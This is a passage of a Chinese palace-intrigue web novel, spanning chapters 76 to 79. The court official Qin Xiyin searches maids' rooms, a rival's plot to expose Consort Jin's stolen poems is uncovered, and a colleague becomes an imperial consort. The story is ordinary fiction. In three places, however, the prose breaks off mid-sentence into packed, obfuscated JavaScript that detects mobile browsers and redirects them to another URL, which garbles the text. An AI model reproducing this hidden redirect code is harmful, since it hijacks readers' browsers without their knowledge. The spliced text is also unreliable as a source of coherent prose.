女相士断言,秦惜音的命格比梧桐、兰花二人好上不少,多子多福,且子孙显贵。 太后也曾想把秦惜音进献给皇帝,但秦惜音拒绝了。 秦惜音走上了一条完全不同的路。 而梧桐和兰花的命运,也证明了女相士所言非虚。 宫中有好几个妃嫔,陪伴皇帝时间更长,但都没有怀孕,瑾妃和杨昭仪都是如此。 杨昭仪大概是看低位妃嫔生子,心急了,怕自己地位动摇,所以,想出了扶持其他地位妃嫔的主意。 银灯、银镜两人长得好看,但在瑾妃这里只是三等宫女,只怕也是不满足于现状的。 今天杨昭仪公然开口要人,肯定是之前跟银灯、银镜两人打过招呼,或是送过礼物,知道这两个宫女愿意走自己安排的路,才来跟瑾妃说的。 如果现在去搜银灯和银镜的屋子,肯定会搜出大量的财物,这是她们跟杨昭仪勾结的证据。 76. 搜查屋子 虽然她们跟泄露瑾妃抢诗的事无关,但她们私下投靠其他妃嫔,甚至试图成为低位妃嫔,这对瑾妃来说是不能容忍的。 瑾妃说不定会严重处罚这两人,甚至找机会杀了二人。即便今日银灯、银镜侥幸逃出生天,将来真的成为低位妃嫔,也是要在瑾妃手里讨生活,日子不会好过。 秦惜音心念百转,她突然有些同情这两个宫女,不希望她们走上一条注定艰难的道路。 因此,眼看瑾妃就要派人搜两个宫女的屋子时,秦惜音阻止道:“瑾妃娘娘且慢。如果现在大张旗鼓地去搜银灯、银镜两位姐姐的屋子,难免会惊动其他奸细。 银灯、银镜那里就算搜出大量财物,也不过是证明她们跟杨昭仪私下有来往,不是什么大事,至少跟您今天要查的事情无关。 但是,如果有奸细发现您开始搜查下人的屋子,她偷偷转移自己的财产,伪装成无辜的人,您就错失了抓住内奸的机会。 娘娘,不如这样,您一会把所有宫人都聚集起来,就说要训话。然后,由我和您信得过的一两名宫女一起去搜所有宫人的箱笼,看看有谁藏着大额财产。 藏有大额财产的人,必须解释清楚财产的来源,以及在上一次皇上到来时,她们都在哪里。 解释不清楚的,那就很可能是泄露您秘密的人。至于收买她们的是谁,只需审问一番,就能知道。” 瑾妃说道:“你说得有道理。本宫现在把宫人都聚集到这里,然后你和月季一起去搜查所有人的屋子吧。记得,搜查得仔细一点,不要放过任何一个角落。” “是。” 过了一会,瑾妃身边的大宫女远山、远岫聚集了所有的宫人,听瑾妃训话。 接着,月季带着秦惜音,准备偷偷搜查所有宫人的屋子。 秦惜音道:“月季姑姑,我们分头搜查吧。我搜东边几间房,你搜西边那几间。” 月季点了点头,就去了西边的屋子。 月季跟秦惜音算不上朋友,但以前打过几次交道。在月季心里,秦惜音是个值得信任的人。 所以,她也想不到秦惜音另有打算。 秦惜音来到东边的屋子,这其中有一间就是银灯、银镜两人的屋子。 秦惜音仔细搜查,果然在银灯、银镜的箱笼里发现了几十两银子和一些首饰。 以银灯、银镜她们三等宫女的月钱,是绝对存不下这些东西的。 所以,这些东西应该是杨昭仪送的。 银灯、银镜可能早就跟杨昭仪有所往来了。毕竟她们在瑾妃这边,是没什么出头之日的。 秦惜音决定替银灯和银镜瞒下这些东西,并找机会劝说她们。 接着,秦惜音搜查别人的屋子。 搜查完毕后,秦惜音在另外两名宫女的箱笼里,也发现了大量的财物。 然后,秦惜音跟月季会合。月季说,她在两个小太监的屋子里也发现了来历不明的财物。 这样,一共是四个人有来历不明的大额财产。 其实,算上银灯、银镜,应该是六个人。但是,秦惜音把银灯和银镜的财物瞒下了。 而月季也没想过把秦惜音搜查的地方再搜一遍。 两人回到瑾妃房中,把搜查结果低声告诉了瑾妃。 瑾妃让其他人出去干活,留下四个有嫌疑的宫人,盘问她们的钱财是哪里来的。 其中两个小太监支支吾吾的,说不清楚,两个小宫女倒是说,这些财物是家人赠送的,怕她们在宫里过得不好。 瑾妃对那两个小太监道:“你们说不清财物的来源,莫非是有人收买了你们,暗害本宫?” 两个小太监磕头如捣蒜,说道:“瑾妃娘娘,我们绝不敢对您起坏心啊……我们的财物……是偷的……” 瑾妃皱眉问道:“从哪里偷的?” “我们偷过很多地方,一时说不清楚……” “……” 秦惜音问瑾妃:“瑾妃娘娘,皇上上一次来是什么时候?” “是昨日傍晚,酉时二刻左右。” 看来,皇帝就是在昨天怀疑瑾妃盗诗了。 秦惜音问那四个宫人:“昨日傍晚,皇上来的时候,你们都在做什么?可有人能证明?” 两个小太监道:“皇上来了,我们都跪下迎接,旁边的宫人能作证。” 两个宫女说道:“我们当时在后院干活,所以没有跪迎皇上。我们两个可以互相作证。” 秦惜音道:“你们两个互相作证,不足为信。瑾妃娘娘,请您传唤其他宫人,问问昨天的事。” 瑾妃点点头,随便找了几个宫人进来,问道:“昨日皇上来时,你们是不是都跪地迎接?” “是。” 瑾妃又指着那两个小太监,问道:“当时他们俩也在吗?” “是的。” “那么,这两个宫女呢?可有人看到她们?” “没有……” 瑾妃点了点头,让其他宫人都出去,重点盘问这两个宫女。 但是,这两个宫女一口咬定,她们就是在后院干活。 秦惜音说道:“先说真话的那个,不仅不会被治罪,还会获得十两银子。” 瑾妃惊讶地看向秦惜音,因为她并不是这么打算的。她本来打算把所有涉事人员都从重治罪。 但是,秦惜音对瑾妃摇了摇头,示意瑾妃按自己说的做。 于是,瑾妃说道:“秦女官说的没错,先说真话的那个,可以得到十两赏银。另一个,杖责五十,逐出宫去。” 这两个宫女互相对视了一眼,眼神都有些复杂。杖责五十,很有可能会没命。即便侥幸活着,恐怕也会残废。到时候,要在宫外活下去会更难。 是抢着说真话,获得十两银子,还是坚持之前的说法? 如果坚持之前的说法,那就得另一个人也坚持不改口才行。 但是,如果自己不招,同伴先招认的话,自己就惨了…… 这两个宫女本来是一伙的,但现在,她们已经不能彼此信任。 其中一个小宫女准备说话,但另一个小宫女忽然捂住了她的嘴,抢着说道:“其实,昨天傍晚,我们没有在后院干活,而是躲在皇上的必经之路上,假装没看见皇上,然后议论起……议论起瑾妃娘娘盗取别人诗词的事……” 瑾妃勃然变色:“果然如此!” 这小宫女哀求道:“娘娘,您说过不治罪的……” 另一个小宫女也哀求道:“娘娘,刚才我准备先说的,但是被她捂住了嘴……我才是先说真话的那个,请娘娘明察。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751603|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >瑾妃看向她,道:“你要让本宫饶了你,也不是不行。你得说出你是怎么知道本宫盗诗一事的?这件事是谁指使你做的?” “奴婢……奴婢本来不知道的,是荆掌籍让我们这么做的……荆掌籍告诉我们,瑾妃娘娘所作的诗都是抄来的,如果我们能想办法把这事泄露给皇上,她会给我们更多钱的……” “荆掌籍?荆双蝶?” “是……” 听到这个名字,秦惜音也很惊讶。 瑾妃问道:“荆双蝶是怎么知道这件事的?” 那两个宫女说道:“我们也不知道……一开始,荆掌籍跟我们说这件事的时候,我们还不信。但是,她给我们很多钱,我们虽然不太信,还是为了挣钱,按照她说的做了。” 瑾妃半晌没说话,两个宫女跪在地上,瑟瑟发抖。 过了一会,瑾妃拿出十两银子,抛给那个第一个交代的宫女,道:“本宫说话算话,这十两银子是你的了。” 宫女感激涕零:“多谢娘娘……” “不过以后,你们两个必须出宫。一次不忠,百次不用,本宫绝不可能再留下你们。” “是……” 接着,瑾妃看向秦惜音:“惜音,你说荆双蝶怎么会知道这事呢?是你告诉她的?还是莫寒星告诉她的?” 秦惜音赶紧说道:“娘娘,我和莫典籍肯定都不敢泄露这件事的,也许荆掌籍是通过别的途径知道的。” “谅你们也没这个胆子。” 瑾妃派人把荆双蝶叫来,荆双蝶看见屋子里的人,有些惊疑不定。 她隐隐约约猜到瑾妃叫她来干什么了,但又不敢往那方面想。如果瑾妃真的知道了她所做的事,等待她的会是什么…… 荆双蝶先跪下,拜见了瑾妃。 但是,瑾妃没有叫她起来,只是看着自己的指甲。 过了一会,瑾妃说道:“荆掌籍,你真是好谋算啊。” 荆双蝶有些惶恐道:“瑾妃娘娘,您说什么?” “你收买本宫身边这两个宫女,她们已经承认了,并且赃物也已经搜出来了。还需要本宫再审问你一次吗?我想,荆掌籍肯定不愿意受皮肉之苦的。” “娘娘,奴婢不知道怎么回事……奴婢跟这两个宫女也从无来往……” 瑾妃看向那两个宫女:“你们说是荆掌籍收买你们,有证据吗?” 这两个宫女见荆双蝶否认,有些傻眼了,一时说不出话来。 过了一会,其中一个宫女对荆双蝶道:“荆掌籍,明明是你叫我们陷害娘娘,你不能不承认啊!” 荆双蝶道:“你别胡乱攀扯,我跟你们都没什么来往。” 这时,另一个宫女从赃物中拿出一个银镯子,说道:“瑾妃娘娘,其实一开始荆掌籍送我们财物的时候,我们都不愿意拿,也不敢背叛娘娘。 但是后来,荆掌籍百般设法,打听到我们喜欢什么,她就送什么礼,我们才被打动了。这个银镯子,就是荆掌籍在宫外找人打的。 我还记得她送我这个银镯子的日期。只要调查在那一天,荆掌籍去过什么地方,就能调查到那个打银镯子的银匠,银匠那里应该有购买记录。” 秦惜音问道:“你怎么确定这镯子是她找人专门打的,而不是在银器店随手买的?” 77. 猜到真相 “因为荆掌籍提前问过我喜欢什么,我就随口一说,喜欢银镯子,而且喜欢竹节纹、有铃铛、雕刻莲蓬的款式。除此之外,我还说了很多细节。没想到,没过几天,我就收到了一个我想要的镯子,每个细节都跟我说的一样。 除了特别定制之外,应该是不太能买得到成品的。所以,我敢断定,这个镯子是荆掌籍找银匠定制的。而且,她自己当初也说过是找人定做的。” 瑾妃看向荆双蝶,道:“荆掌籍,以本宫的人脉,要找那个替你打银镯子的银匠,容易得很。不过,要本宫这样大费周折地去找证据的话,将来定你的罪时,本宫一定会从重定罪。 还不如你现在自己招认了,本宫还能酌情减轻对你的处罚。” 荆双蝶道:“即便我送银镯子给这个宫女,也不代表我收买她。这只是朋友间互赠礼物而已。” “朋友?互赠礼物?你刚才不是还说,你跟这两个宫女没什么来往吗?这岂不是前后矛盾?” “这……” 荆双蝶见无法抵赖,只能承认,是自己收买了这两个宫女,让她们把瑾妃盗诗的事情泄露给皇帝。 说完之后,荆双蝶面如死灰。 瑾妃问道:“本宫找人代笔写诗的事,你是怎么知道的?” 荆双蝶道:“奴婢是猜的。” “猜的?” “没错。奴婢在司籍司多年,认识莫典籍也很久了。一开始,莫典籍工作负责,性情和善乐观,跟众人都相处得很好。她闲暇时会作诗,我们有时候也会看她的诗作。 后来有一天,她突然开始郁郁寡欢,还藏起了自己所有的诗作,也不再作诗了。我们不知道发生了什么,都以为她只是暂时心情不好而已。 但是没想到,她这个状态持续了很多年。而且,她总是一副愤懑又不敢说的样子,我猜测她可能是受了什么委屈,但是没法说出来。 我联想到她第一次心情不好,就是从齐王府回来的时候。当时,当今皇上还是齐王,而娘娘您,就是齐王的侧妃之一。而莫典籍的父亲,就是在齐王府任职。 她每次探亲,都要去齐王府。 所以我猜,她性情大变,可能跟齐王府有什么关联。 但是,具体是什么关联,我一开始不明白。 但后来发生了一件事,让我彻底想明白了。 自从莫典籍不再作诗,齐王府的吴侧妃,也就是娘娘您,忽然传出了通晓诗词、能吟诗作赋的美名。 而且,您每次有新作问世,都是在莫典籍去齐王府探亲之后。 而每次莫典籍从宫外回来,心情都会很不好。 所以我猜测,是您逼迫莫典籍作诗,并且把她的诗给抢了,莫典籍才会郁闷。 后来,皇上登基,您也被封为瑾妃。 您仍旧时不时地召莫典籍过去,而莫典籍从您那儿回来之后,无一例外,都是一脸不忿之色。而且,每次回来之后,她都会称病,多日不出来。 这更加证实了我的猜测。 莫典籍以前是爱诗之人,但多年来却不再作诗,恐怕是已经没有了作诗的心情。 这个猜测,我从来没去求证过,但我心里明白,八成是真的。 前几日,我听说娘娘您又作了新诗,得到了皇上的夸赞。但是,我记得莫典籍没有去过您那里,只有惜音去过。 我知道惜音也会作诗,而且写得比莫典籍要好。我就猜测,您这次的诗,是让惜音代笔的。 所以,我就买通了您宫里的两名宫女,让她们把这件事散播出去。 我知道,这件事没法让您伤筋动骨,但是却能让您追究惜音的责任。如果惜音足够聪明,洗刷了嫌疑,您可能会怀疑到莫典籍头上。 到时候,不论是惜音还是莫典籍受罚,或是她们俩一起受罚,被赶出宫去,甚至是被赐死,对我都是有利的。 一来,官职空缺,我有了升官的机会;二来,我也有了提拔心腹当官的机会。 我以为这条计策天衣无缝,没想到还是暴露了。” 秦惜音十分惊讶,问荆双蝶:“荆掌籍,你……你真的谋算得这么深?你为了斗倒我和莫典籍,设计了这条连环计,想借瑾妃娘娘的手除掉我们……” 荆双蝶苦笑道:“我有什么办法?官职就那么几个,你们不让位,我和我的心腹怎么上位?惜音,宫廷是残酷的,官场也是。即便是女官之间,也是暗流汹涌。 今日我失败了,是我运气不好,我也没有办法。惜音,你实在太幸运了,不论遇到什么事,都能逢凶化吉。” 秦惜音摇了摇头,并不赞同她的说法。 瑾妃看着荆双蝶,道:“荆掌籍,没想到你这么聪明,猜到了全部真相。可惜有时候,聪明往往也是催命符。谁给你的胆子,敢算计本宫?本宫会将你流放漠北,你若是说出什么不该说的,就会死在那儿,明白吗?” 这时,荆双蝶却忽然站了起来,直视着瑾妃的眼睛。 她比瑾妃高了一个头,瑾妃被这样看着,眼中闪过一丝害怕,随即喝道:“你干什么?本宫叫你站起来了吗?” 荆双蝶笑道:“反正我已经完了,礼仪规矩还有那么重要吗?我就算跪到死,你也不会饶了我。瑾妃,我告诉你,今日我不是败给了你这个人,而是败给了你的身份。 你是高高在上的人物,你可以抢走别人的诗词,把别人弄得抑郁。你也可以随便杀人、伤人、处置人。但那并不是你的本事,而是你的身份带给你的权力。 没错,我是算计了你,想利用你除掉我的同僚。但是,我具体做了什么呢? 我只不过是把你所做的事,原模原样说了出来,你就要治我的罪…… 何其可笑?有些事,你可以做,但我不能说。这就是皇宫,这个吃人的地方…… 你的才华是假的,你的诗词是抢来的。纵然现在你可以瞒住,可以把我流放,但总有一天,你会暴露自己的真面目。 我就等着那一天,哈哈哈哈……” 瑾妃怒道:“放肆!” 她重重地拍了一下桌子,但荆双蝶只是平静地看了瑾妃一眼,没有害怕,也没有退缩。 瑾妃愤怒地叫人进来,说荆双蝶犯了罪,要削除她的宫籍,把她流放漠北。 荆双蝶被几个太监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751604|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住了,她没有挣扎,只是看着秦惜音,道:“惜音,你赢了我又怎样?胜利是暂时的,斗争是永久的。这个斗兽场,我先退出了,你随意。” 说着,荆双蝶就被押了出去。 秦惜音回想着荆双蝶刚才所说的话,久久无法平静。 瑾妃安慰她道:“惜音,这次你做得很好。以后,继续为本宫效力,本宫自然不会亏待你。” “是……” “还有,回去告诉莫寒星,让她管好自己的嘴,不该说的话别说。” “是。” “对了,刚才你搜查宫人们的屋子,银灯、银镜两人有没有大额财产?” 秦惜音道:“没有,奴婢仔细搜过了。想来,杨昭仪亲自来要她们两人,可能只是想利用她们。但是,银灯、银镜二位姐姐忠于娘娘,私下并不敢跟杨昭仪有所往来,也没有收过杨昭仪的东西。” “嗯,这还差不多。你先走吧。” 秦惜音离开瑾妃的房间,见外面的宫人们虽然在干活,但都有些心不在焉的。 她们虽然不知道具体发生了什么,但刚才瑾妃房中的动静太大了,她们难免会感到疑惑和害怕。 见秦惜音平安无事地从瑾妃房中出来,她们都好奇地打量着秦惜音。 其中,银灯、银镜二人尤为心虚,时不时地看向秦惜音,似乎有疑问,但又不敢问。 秦惜音对银灯、银镜使了个眼色,示意她们跟自己过来。 银灯和银镜就远远地跟着秦惜音。 秦惜音离开比翼宫,尽量往人少的地方走。没过一会,她来到一处废弃的宫殿。 银灯和银镜跟了过来。 银灯问道:“秦女官,我们想问……就是我们箱子里的东西,您是不是搜查过?” 秦惜音道:“我知道你们想问什么。你们的箱子里有大额财产和珠宝,应该是从杨昭仪处得来的吧?我怕你们被瑾妃责罚,甚至丧命,所以替你们瞒下了。 你们的财物,我已经偷偷藏在了屋子前面的榕树背后,你们趁着没人去找,应该能找到。” 银灯、银镜感激不已,连连道谢。 银镜道:“秦女官,多亏您替我们隐瞒。如果让瑾妃娘娘知道我们收了杨昭仪的礼物,非揭我们一层皮不可。” 秦惜音问道:“杨昭仪是不是许诺了你们更光明的未来?” 银镜和银灯有些犹豫,不知道该不该说。 见她们这副模样,秦惜音也猜到了几分,说道:“杨昭仪是不是许诺你们,只要你们投靠她,以后为她效力,她就保举你们成为妃嫔?” 银灯和银镜点了点头。 银灯道:“其实,我们在瑾妃这里伺候好几年了。论资历,早就该升为二等或一等宫女了。但是,我们迟迟升不上去。我和银镜私底下推测,可能是因为我们长得……太引人注意了,如果到瑾妃身边伺候,难免会引起皇上的注意。 我们明白瑾妃的顾虑,可是凭什么因为她的顾虑,我们就不能往上升呢?我们比那些相貌平平的大宫女,差在哪里? 我们只想有更高的地位,赚更多钱,有错吗?” 78. 不同道路 银镜也说道:“后来,杨昭仪找上了我们,说可以帮我们,我们的心思也活络了……以我们的外貌,即便当妃嫔,又有什么不可以?我们虽然是宫女,但只要背靠杨昭仪这棵大树,总能混得开。 所以,我们就……” 秦惜音摇了摇头,道:“你们把这条路想得太简单了。你们是平民出身,没有好的家世,自身才能又不出众,唯一能依靠的就是外貌和杨昭仪的提携。 可是,外貌是最华而不实的东西,你们今天可能因为长相而得到皇上青睐,明天皇上看腻了,可能就不再喜欢你们了。而且,你们依靠杨昭仪才成为妃嫔的话,以后你们就是她手上的一把刀,她叫你们干什么,你们就得干什么。 你们没有自己的选择权,也不允许有自己的想法。到时候,你们满手罪孽,而杨昭仪完美隐身,成为最终的得利者。 更何况,还有一道难关,就是瑾妃娘娘。你们曾是她宫里的宫女,但却背着她,投靠杨昭仪,才成了妃嫔。但是,成了妃嫔之后,你们还要受瑾妃的管辖。 到时候,只怕你们的日子不会好过。瑾妃掌管六宫,权力很大,她想怎么整你们就怎么整你们。 你们不能只看得到眼前的荣耀,看不到之后的危险。 我这次把你们收受的贿赂瞒下来,也是想救你们一次。但是,一旦你们走上杨昭仪为你们铺设的路,我就救不了你们了。” 银灯和银镜听了这番话,都默然良久。 银灯说道:“秦女官,多谢您的开导……我之前太糊涂了,才会上了杨昭仪的当。您放心,我会把我收到的东西退还给杨昭仪,不会走上那条路。我不能辜负您的一番苦心。” 银镜说道:“秦女官,您辛苦了。您的话,我会好好考虑的。” 秦惜音看向二人,见银灯一脸懊悔,还有恍然大悟的感觉;银镜却微笑着,看不透她的想法。 秦惜音觉得,这二人以后怕是要分道扬镳了。 她能做的都已经做了,也只能这样了。 秦惜音回到司籍司,先去见了莫掌籍。 莫寒星询问调查结果,秦惜音简单地说了。 莫寒星惊讶道:“幕后主使者竟是荆双蝶……我以前怎么没发现她有这本事?” “我也想不到……但不管她多有城府,这次都留不下来了,以后我们也能少一个隐藏的敌人。” 莫寒星苦笑着摇摇头:“荆双蝶根本不算什么,我们最大的敌人不还在比翼宫好好待着吗?” “您是说瑾妃……” “没错。其实,也不止是瑾妃……皇家的所有人,都可以凌驾于我们之上。她们如果对我们起了坏心,我们也很难防备。” “往好处想,至少瑾妃只想要我们的诗,不想要我们的命。” “瑾妃见识了你写的诗,以后怕是不会要我代笔了。你准备好长期被她剥削了吗?” “我明白这一点。即便我不愿意,也拒绝不了。但是,我会把它看做一件小事,不会让它影响到我的日常生活。” “小事?你呕心沥血写出来的诗,署了别人的名,她还凭借着这些诗,获得了很多好处。而且,你每次见到她,甚至还要恭恭敬敬的……你觉得这是小事吗?” “这么一想,确实很令人生气……但是,生气伤身体,我只能想开一点了。毕竟,身体最重要。我拥有健康的身体,才能看到将来大厦倾覆之时。” “大厦倾覆……我还看得到吗?” “只要您保重身体,肯定能看到的……您见过哪些心思不正者,能长久居于高位而不跌落呢?” “这只是一种无助之下的幻想,我更想凭自己的力量报复回去。” 秦惜音有些惊讶:“莫典籍,您的意思是……” “你不用担心,我不会效仿荆轲刺秦王。其他的,我不能跟你明说。你先回房休息吧。” “嗯。” 秦惜音回到房间,感到心力交瘁,直接睡了一觉。 等她醒来时,发现司籍司的人都聚在外面,还有一些宫人忙忙碌碌的,在搬着什么。 秦惜音走出去,只听众人议论纷纷: “哎,是不是荆掌籍的东西被搬走了?” “是啊,她现在已经不是掌籍了。听说,她收买瑾妃宫里的宫女,想加害瑾妃,被瑾妃娘娘发觉。瑾妃娘娘削除了荆双蝶的官籍,将她流放漠北。” “漠北是苦寒之地,荆双蝶是官家小姐出身,也不知道能不能活下去。” “谁知道呢,就算活不下去,也是她自找的,谁让她谋害瑾妃娘娘。” “哎,两位姐姐,我只听你们说荆双蝶谋害瑾妃娘娘,具体是如何谋害的?” “这我们就不知道了,我只听说,瑾妃娘娘派人来司籍司,说荆掌籍犯了罪,已经被除名了,现在要把她的东西也搬走。我们连荆掌籍的面都没见着,估计荆掌籍已经在流放路上了。” “真可怕……你说她好端端的,谋害瑾妃娘娘干什么呢?” “不知道……总之,我们做好自己的事就行了,可千万别跟荆双蝶似的……” 又有一个女史插嘴道:“荆双蝶终于走了,以前她老欺负我。” 这时,玉秀低着头从人群中走过。有几个女史发现了她,把她拦住。 “哟,玉秀姐姐,你怎么不像平时那样趾高气扬了?” “是啊,你平时不是挺厉害的吗,总是骂我们,还给我们加活。现在,你的靠山没了,以后神气不起来了。” 玉秀不忿道:“你们知道什么?我表姐是被人给害了!” 玉秀看见了秦惜音,指着她,说道:“惜音,你自己清楚——” 秦惜音推开了她的手,冷静地说道:“玉秀,你说话要有证据。分明是荆双蝶自己犯了错,才会被处罚的。难道,你认为瑾妃娘娘的判决有误?” “这……我……” 玉秀不敢再说。 “还有,我现在怎么着也算个八品掌籍,你怎么能直呼我的名字?” 玉秀只得低声道:“秦掌籍,请原谅我……” 秦惜音也无意继续为难她,小声说道:“只要你以后干好分内之事,就不会有事。” “是……谢谢……” 玉秀低着头走了,她觉得自己再不离开,就要哭了。她怎么能在别人面前流泪? 这时,莫寒星走到了秦惜音身边,道:“你看见了吧?宫中的人事浮沉就是如此容易……” “嗯……有些事不是我能左右的,我能做的就只有好好干活。” 由于荆双蝶离开了,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751605|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜音搬回了原先的屋子。 现在她自己一个人住掌籍的屋子,不担心被人欺负了。 屋子里空荡荡的,原先属于荆双蝶的物件都已经搬走了。 秦惜音的使用空间大了许多,但她却高兴不起来。 几天后,秦惜音听说,宫女银灯服役期满,自请出宫了。而银镜还是留在宫里,后来被杨昭仪要了过去,成了杨昭仪身边的二等宫女。 也不知道杨昭仪用了什么法子,这次要人成功了。 对于这样的结果,秦惜音并不惊讶。上次她劝告银灯、银镜二人时,银灯听进去了,但银镜没有。 也许,银镜还是对成为妃嫔的道路有过多的期待和美化。 这也不是秦惜音能左右的事,她已经尽到了自己的义务。 —————— 几天后,莫寒星拜访了谦才人的住所。 谦才人也是后宫妃嫔之一,是跟曲南蕊同时选入宫中的。只是,她比曲南蕊幸运,很得皇上的欢心,短短半年时间,已经升为五品才人。 她擅长吟诗作赋,跟皇上很投缘。 除了她之外,后宫妃嫔之中只有瑾妃会写诗。但瑾妃的诗其实是找人代写的,所以真正的才女妃嫔只有谦才人一个。 谦才人见莫寒星来访,有些惊讶,问道:“莫典籍,不知你前来有什么事吗?” 莫寒星道:“听闻娘娘在寻找前朝的《太平诗集》,奴婢找到了,特来呈给娘娘。” 谦才人欣喜道:“这可太好了,多谢你。” “另外,奴婢最近写了几首诗,想请您点评一下。” 谦才人眼神中放出神采,开心地说道:“真的吗?你也会写诗?快给我瞧瞧。” 莫寒星便呈上几张纸,纸上写着几首诗词。 谦才人认真地看完,说道:“莫典籍,你写的诗词已经初登大雅之堂,不过我觉得,有几处可以改进一下……” 谦才人指出了几处可以改进的地方,莫寒星点了点头,认为谦才人说的有理。 而且,谦才人还马上提笔,把不足之处修改了一下,这几首诗的水平立刻高了一个等级。 莫寒星今日前来,虽有所图,但也不得不承认,谦才人的诗词造诣很高。 莫寒星由衷称赞:“谦才人才气过人,奴婢拍马不及。” 谦才人笑道:“莫掌籍过谦了,依我看,我们的水平相差不大。刚才,我也是胡乱指点,希望你别嫌弃我。” “奴婢怎敢嫌弃娘娘?您改动的地方,都很有道理。奴婢也学到了很多。” “真的吗?那以后可要多多交流。我进宫许久,都找不到可以跟我诗词唱和的朋友。我之前听说瑾妃会写诗,想跟她交流,但她拒绝了。 想必,是我身份低微,不配跟瑾妃娘娘成为诗友吧。” “娘娘别这么想,也许瑾妃娘娘只是因为跟您不熟,所以才拒绝了私下的交流。” “也许吧。不过,除了瑾妃之外,其他妃嫔都不会写诗。她们的聚会,我不爱参加,因为她们聊的都是一些无趣的内容。我更希望有一群会写诗的朋友,聚会时一边喝茶,一边作诗,互相点评,互相进步。” 莫寒星道:“娘娘的心愿也不难实现,奴婢可以当您的诗友。不过,有一个难处。” 79. 晋升考试 谦才人问道:“什么难处?” “奴婢现在是女官,平时很忙,很少有空闲时间写诗,拜见您的时间就更少了。如果要当诗友,恐怕奴婢得换一个身份才行。” “说的也是……要不我把你调到我宫里当宫女?不行不行,你本来是女官,怎么能屈尊做宫女?要不……” 谦才人想到一个办法,但又觉得有些不妥,没有再说下去,而是看着莫寒星。 莫寒星道:“娘娘是否有主意了?” “我倒是有个主意,你如果不同意,也别生气。” “不会的,娘娘但说无妨。” “我想……把你举荐给皇上做妃嫔,你就住在我宫里,这样我们就能经常一起吟诗作对了。” 莫寒星喜道:“若能如此,是奴婢几世修来的福分。” “但是我觉得,这样有些委屈你了……其实,你不用为了迁就我,就答应的。你如果拒绝,我也不会生气。” “不,其实这正是奴婢心中所希望的。奴婢心中对皇上也有仰慕之意,只是无人引荐。若是娘娘愿意引荐,既全了奴婢的心意,也全了娘娘的心意。” 谦才人笑道:“那可太好了,这简直是两全其美的好事。你且回去等着,我想想办法,把你引荐给皇上。” “谢娘娘。” 两天后,皇帝来到谦才人宫里,谦才人把莫寒星写的诗给皇帝看,还说莫寒星品貌端庄,才学出众,适合一起侍奉皇帝。 皇帝同意了,召见莫寒星,询问她的心意。得知莫寒星愿意,皇帝就把她封为七品御.女。 因莫寒星本就是七品女官,皇帝封她为妃嫔,不想让她的品级降低,所以莫寒星直接成为七品妃嫔,不用从八品开始熬。 莫寒星谢恩后,入住了谦才人的荼蘼宫。 消息传回司籍司,众人皆十分震惊。 大家都想不到,莫寒星竟会变成皇帝的妃嫔。 秦惜音惊讶片刻后,理解了莫寒星的选择。 站在莫寒星的角度,与其让自己的才华被瑾妃所用,倒不如给自己用。她的相貌、家世都不差,还拥有整个后宫稀缺的才华。 她以妃嫔的身份跟瑾妃斗一斗,未尝不可。 秦惜音有些唏嘘。 她觉得,莫寒星本来可以不用走这条路的。但莫寒星太不甘心,所以要入局。 既已入局,是出不来了。秦惜音只能希望,莫寒星以后顺利一些,不要发生什么变故。 同时,秦惜音也觉得,如果自己跟莫寒星一样,被抢走那么多诗词,自己能不能心平气和?会不会也做出跟莫寒星一样的选择? 莫寒星的离开,也让一些人有了新的盘算。 司籍司的女官少了两个,一个是荆双蝶,一个是莫寒星,那是不是要从底层提拔几个女官? 一些女史们想成为八品掌籍,而一些八品女官想向七品靠拢。 而秦惜音见七品位置上有空缺,心里也动了心思。只是自己刚升为八品掌籍不久,只怕不会那么快升上去。 几天后,司籍沈芦叶召集司籍司剩余的女官们开会。 沈司籍道:“司籍司一下子没了两名女官,我打算从女史中提拔一名当八品掌籍。诸位可以举荐一名合适的人选,然后所有被举荐的人举行一场考试,第一名可以升为八品掌籍。” 秦惜音道:“我举荐连云,她在司籍司十年,熟悉各种工作,劳苦功高。只是她人缘不佳,而且以前从来不参加晋升考试,所以这么多年来都只是女史。下官认为,连云完全有资格成为女官。” 沈司籍点头道:“自然可以,那候选人就算连云一个吧。之前并非是本官刻意压制她,实在是她从来不参加晋升考试,本官也没法破格录用她。而且,不止为何,她有些愤世嫉俗,跟长官们的关系都不好。所以,以前也没有女官举荐她。 如今既然你举荐她了,就给她一个机会吧。只是,她必须参加考试。这件事,也请你多费心了。” 秦惜音点头道:“沈司籍放心,下官会让连云参加考试的。她愤世嫉俗,也跟以前的遭遇有关。现在的女官们大多只当了数年,不清楚连云以前的遭遇。连云跟上一批的女官们有些误会,所以见了女官都爱答不理的。” 